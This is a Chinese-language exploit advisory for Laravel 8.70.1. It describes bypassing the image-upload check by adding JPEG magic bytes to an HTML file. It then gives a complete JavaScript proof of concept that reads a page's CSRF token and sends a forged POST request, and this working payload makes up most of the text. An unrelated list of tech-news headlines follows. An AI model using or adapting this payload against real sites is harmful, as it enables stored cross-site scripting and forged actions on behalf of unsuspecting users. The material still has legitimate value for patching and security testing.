PHP Laravel 8.70.1 - 跨站脚本(XSS)到跨站请求伪造(CSRF)
2023-04-18 15:33:40 时间
供应商主页:https://laravel.com/
软件链接:https://laravel.com/docs/4.2
版本:Laravel 框架 8.70.1
测试:Windows/Linux
说明:
我们可以绕过laravel图片文件上传功能,在web服务器上传任意文件 # 让我们运行任意 javascript 并绕过 csrf 令牌,有关更多信息,请阅读此 https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b
重现步骤:
1- 使用 HxD 工具并在文件开头添加 FF D8 FF E0
2- 使用下面的代码绕过 csrf 令牌
3- 将其另存为 Html 文件并上传。
<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
//
xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
//Edit the path as you want
xhr.open("GET", "/image-upload", true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementsByTagName("input")[0];
// Show the token
alert("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
getTokenJS();
var POST_URL="/"
getTokenJS();
</script>
</html>
相关文章
- 下一代 iPhone 设计的接班人,是「库克背后的库克」
- 鸿蒙OS内测系统体验曝光:界面与EMUI明显不同、简洁流畅
- 360小程序为“全场景”而生,打破PC、移动双端边界
- 手机操作系统曾经的春秋与战国
- 芯片为何成了“国人之痛“?专家详解背后原因
- 周鸿祎谈华为鸿蒙系统:可以打造成安卓一样的开源系统
- 苹果真急了,开始到微软亚马逊家门口挖人了
- 苹果有没有当年谷歌离开中国的勇气?
- iOS13 和 iOS12.4 同时发布,你会选谁?
- 华为鸿蒙即将亮相 媒体宜支持不宜捧杀
- 华为创鸿蒙 不宜捧杀式赞美
- 从入门到放弃,一文回顾谷歌平板史
- Google:我们不做平板电脑了
- Catalyst代码曝光:macOS或迎来全新的Messages和Shortcuts应用
- 5G前夜,手机企业别慌
- 日经报道称苹果正考虑从中国转移15-30%的硬件产能
- 苹果中国大调整:iOS 13和全新系统来了
- 从C端到B端,我的产品设计之路
- iOS 13的前世今生(现世篇),苹果系统12年来都经历了什么
- 5G来了,这10个趋势值得关注